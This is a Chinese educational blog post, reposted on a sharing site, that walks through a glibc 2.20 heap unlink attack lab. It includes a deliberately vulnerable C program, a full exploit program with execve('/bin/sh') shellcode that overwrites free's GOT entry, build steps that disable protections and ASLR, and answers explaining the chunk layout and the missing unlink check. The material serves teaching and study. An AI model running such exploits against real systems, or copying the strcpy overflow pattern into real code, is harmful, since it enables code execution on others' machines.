ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

PWN之堆利用-unlink攻击

2021-07-18 17:59:24  阅读:300  来源: 互联网

标签:之堆 chunk free second PWN unlink shellcode 字节


一、 环境配置

笔者使用ubuntu14.04.6_desktop_i386
国内镜像网站如下:
http://mirrors.aliyun.com/ubuntu-releases/14.04/
glibc版本2.20

二、ulink攻击

准备工作:

有漏洞的代码vuln.c

/* 
 Heap overflow vulnerable program. 
 */
#include <stdlib.h>
#include <string.h>
int main( int argc, char * argv[] )
{
        char * first, * second;
/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
        if(argc!=1)
/*[3]*/         strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}

攻击代码attack.c

/* Program to exploit 'vuln' using unlink technique.
 */
#include <string.h>
#include <unistd.h>
#define FUNCTION_POINTER ( 0x0804978c )         //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x0804a008 + 0x10 )      //Address of variable 'first' in vuln executable. 
#define VULNERABLE "./vuln"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1
char shellcode[] =
        /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
        (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 
        Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
		/* eb 0a means jmp 10 bytes to next instruction. */ 
        "\xeb\x0assppppffff"
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main( void )
{
        char * p;
        char argv1[ 680 + 1 ];
        char * argv[] = { VULNERABLE, argv1, NULL };
        p = argv1;
        /* the fd field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the fd_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* Copy the shellcode */
        memcpy( p, shellcode, strlen(shellcode) );
        p += strlen( shellcode );
        /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize 
        of first chunk */
        memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );
        p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );
        /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
        *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
        p += 4;
        /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
        *( (size_t *)p ) = (size_t)( -4 );
        p += 4;
        /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
        would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 
        second chunk's bk field (see below) */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
        p += 4;
        /* the bk field of the second chunk. It should point to shell code address.*/
        *( (void **)p ) = (void *)( CODE_ADDRESS );
        p += 4;
        /* the terminating NUL character */
        *p = '';
        /* the execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return( -1 );
}

1、在/home/vagrant解压glibc-2.20-lwm.tgz
2、建立一个目录,例如:/home/vagrant/glibc-build,进入这个目录后编译glibc源码

>> ../glibc-2.20/configure --prefix=/home/vagrant/glibc-build/
>> make && make install

3、编译vuln.c,

>> gcc -g -z norelro -z execstack -o vuln vuln.c
-Wl,--rpath=/home/vagrant/glibc-build/lib
-Wl,--dynamic-linker=/home/vagrant/glibc-build/lib/ld-linux.so.2

4、使用ldd命令, 可以看到libc.so.6链接到了刚才编译的libc库

>>ldd vuln
linux-gate.so.1 => (0xb77a5000)
libc.so.6 => /home/vagrant/glibc-build/lib/libc.so.6 (0xb7604000)
/home/vagrant/glibc-build/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0xb77a6000)

5、用普通方式编译attack.c,同样使用ldd查看

>>gcc -o attack attack.c
>>ldd attack
linux-gate.so.1 => (0xb7737000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757c000)
/lib/ld-linux.so.2 (0xb7738000)

6、关闭系统随机化

>>echo 0 | sudo tee -a /proc/sys/kernel/randomize_va_space

7、执行attack可以看到出现了一个可利用的shell

三、回答问题理解unlink原理

1、attack.c中680这个数值怎么来的?在分配的内存中覆盖了哪些范围,请画图说明

1、在vuln.c中说要first chunk的数据部分大小为666B,因为first chunk可以复用 second chunk的pre_size字段(4B)填充数据,所以实际first chunk的数据大小只需要662B(666-4)

2、又因为chunk以8B对齐,所以first chunk的数据部分大小需要是8字节的倍数,将662B加上2B满足要求,即664B.

3、因为攻击需要覆盖到second chunk的fd 和bk指针从而达到“在指定地址写入指定值”的攻击,进而覆盖free函数地址为shellcode地址,所以需要再向后溢出,来覆盖second chunk的 pre_size,size,fd,bk,即在原有first chunk的基础上再多写16B(4×4B)。

4、综合2,3知道要总共要写入680B(664B+16B)的数据,内存覆盖范围如下图:
在这里插入图片描述


2、attack.c中覆盖第二个chunk的元数据fd指针,为什么要FUNCTION_POINTER-12
为了覆盖free函数为shellcode地址,当下次调用free函数时会执行shellcode.

分析:
1、当free(first)时,因为检测到second chunk也是空闲的,所以会发生向前合并的操作,不仅会unlink了第一个chunk,第二个chunk也unlink了。

2、如下图unlink函数的代码,可以看到当unlink第二个chunk时对fd和bk做了如下操作:
在这里插入图片描述
3、按照atttack.c的填充方式如下:①其中FUNCTION_POINTER的地址用 readelf -r vuln 可以看到是free函数的地址 ,②CODE_ADDRESS如果调试vuln可以看到是分配的第一块内存的地址+16个字节(meta data),即shellcode的地址。
在这里插入图片描述
4、综合1、2、3知道unlink second chunk时做了如下操作:

1)首先FD= nextchunk->fd = free地址 – 12;
2)然后BK = nextchunk->bk = shellcode起始地址;
3)再将BK赋值给FD->bk,即(free地址 – 12)->bk = shellcode起始地址;
4)最后将FD赋值给BK->fd,即(shellcode起始地址)->fd = free地址 – 12。

如下图:
在这里插入图片描述
①1)2)步中,unlink强制将free addr -12和shellcode addr看作malloc_chunk结构体,当free addr-12对应second chunk的pre size时,可以知道free 函数地址 刚好是(free地址 – 12)->bk(12B代表pre_size,size,fd,4Bx3)

②在第3)步又将shellcode起始地址赋给(free地址 – 12)->bk,相当于shellcode起始地址赋给free 函数地址。


3、shellcode开头是eb0a,表示跳过12个字节,为什么要跳过后面的"ssppppffff" ? 另外请反汇编shellcode解释shellcode的功能
1、为什么跳过后面的"ssppppffff":

①参考上一题分析中的第四点第4)步,因为最后将FD赋值给BK->fd,即(shellcode起始地址)->fd = free地址 – 12,即shellcode + 8位置的4字节数据会被替换为free addr – 12,所以shellcode应该跳过前12个字节。

②"\xeb\x0assppppffff"中eb0a指令加上后面的ssppppffff十个字符正好是12个字节。

2、shellcode的功能为:获得系统shell控制权执行shell.

分析①将shellcode转换为汇编代码:

使用ollydebug反汇编shellcode代码的得到汇编代码如下:
在这里插入图片描述
②分析功能:shellcode建立了一个栈,其中push的参数很常见,0x68732F2F和0x6E69622F合起来是字符串参数“/bin/sh”;把基地址eax=0x0推到栈中;把返回地址ebx推到栈中;mov ecx,esp保存栈指针的地址;

进行80号调用,因为al=0xB(10进制为11),表示syscall表中的11号索引值代表execve()。综上此shellcode调用了execve(),参数为/bin/sh,即获取系统的shell权限执行shell.


4、vuln.c中分配的666字节和12字节的chunk,实际分配大小是多大?属于第几个虚拟bin?如果是在64位平台呢?

在这里插入图片描述

32位平台:实际分配大小为672字节,大于512字节,属于large bins。

分析如下:分配666字节中4字节被second chunk的pre_size复用,所以数据部分有662字节,又因为在32位系统中要8字节对齐,所以是664字节,再加上头部的presize和size有8字节,所以一共分配了664+8=672字节。

64位平台:实际分配大小为688字节,属于small bins。

分析如下:分配666字节中8字节被second chunk的pre_size复用,所以数据部分有658字节,又因为在64位系统中要16字节对齐,所以是672字节,再加上头部的presize和size有16字节,所以一共分配了672+16=688字节。


5、glibc2.20源代码中unlink宏去掉了哪些保护措施导致unlink攻击可以成功?解释这些安全措施的含义
查看glibc-2.20的unlink宏的定义,位置在malloc文件夹的malloc.c文件中

添加保护措施的unlink宏定义如下:
在这里插入图片描述
glibc-2.20的unlink宏定义如下:
在这里插入图片描述
可以看到去掉的保护措施如下:
在这里插入图片描述
去掉的保护措施:少了if判断条件,去掉了检测是否是双向链表的判断。

安全措施的含义:检查p与前后的chunk是否构成双向链表,FD是P的下一个chunk,BK是P的前一个chunk。可以知道当安全时,FD->bk表示P的下一个chunk的前一个chunk,一定是P;BK->fd的表示P的前一个chunk的下一个chunk,一定是P。当执行if判断的时候,会检测链表中前一个chunk的fd和后一个chunk的bk是否都指向当前需要unlink的chunk,这样攻击者就无法替换second chunk 的fd与bk(因为这会影响FD和BK),所以FD->bk = BK 与 BK->fd = FD不会执行,从而使unlink攻击失败。


6、vuln.c中第一次调用free的时候是什么情况下进行chunk的consolidation的?依据glibc源代码进行分析,给出分析过程
在第一次调用free函数的时候检测到second chunk也是空闲的,会进行chunk的consolidation。

分析过程如下:

1、结合free(first_chunk)的流程图分析流程:

1)判断first chunk是不是fast bin,而first chunk属于large bins(第五题已分析),N

2)判断first chunk的prev-issue:因为first chunk前面没有chunk,默认堆内存中的第一个chunk总是被设置为allocated的,即使它根本就不存在。所以认为前一个chunk是在使用的,Y

3)判断next chunk是不是top chunk:因为下一个chunk是被分配过的second chunk,所以不是 top chunk,N

4)判断second chunk是不是inuse:因为second chunk被恶意覆盖,second chunk会被认为是空闲的,N

5)进行chunk的conlidation(图中橙色部分)

在这里插入图片描述
2、流程4)为什么判断second chunk为空闲:

分析判断为空闲的glibc源代码如下:
在这里插入图片描述
其中(((char *) §) + (s)))表示nextchunk向后移动nextsize,表示next next chunk的位置,可以看到判断next chunk为空闲是根据next netx chunk的P位来判断的。

而在覆盖first chunk时产生溢出将second chunk的值设置为了-4,再+8找到的“next next chunk的size的P位”其实是second chunk的 pre_size的最后一位,即通过inuse_bit_at_offset宏获取到的nextinuse为0,即second chunk为空闲,需要进行consolidaton合并操作。

3、glibc中向前合并(consolidation)的代码分析:

当发生向前合并操作时:
在这里插入图片描述
1)将后一个chunk占用的内存合并到当前chunk;
2)使用unlink宏,将后一个free chunk从双向循环链表中移除。

四、总结

1、unlink攻击是对堆的攻击,如果unlink宏没有任何保护,那么这个漏洞会被利用向任意地址写入任意值,意味着可以修改系统中关键位置,并执行特定的代码,例如shellcode,本例就是执行了系统调用获得shell权限

2、attack.c构建攻击代码,所有的工作都是填充一个缓冲区,然后交给vuln作为参数:
①这个缓冲区长度为680字节,超过了第一个chunk长度,造成堆缓冲区溢出
②堆溢出的目标是修改第二个chunk的元数据(注意:第二个chunk变成了空闲块)
③在第一次调用free的时候,unlink攻击覆盖free函数为shellcode地址
注意:第一次调用free的时候,不仅仅unlink了第一个chunk,由于consolidation,还unlink了第二个chunk,所以在第二次调用free的时候,实际会执行shellcode

3、attack.c如何构造缓冲区
填充 44 个字节
填充shellcode
填充字符‘B’,填充长度为 680-4
4-4*4-strlen(shellcode)
设置第二个标志位为chunk空闲
设置第二个chunk长度为-4(0xfffffffc),trick malloc
修改第二个chunk的fd=free函数地址,FUNCTIONPTR-12
修改第二个chunk的bk=shellcode

标签:之堆,chunk,free,second,PWN,unlink,shellcode,字节
来源: https://blog.csdn.net/susuate/article/details/117535964

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有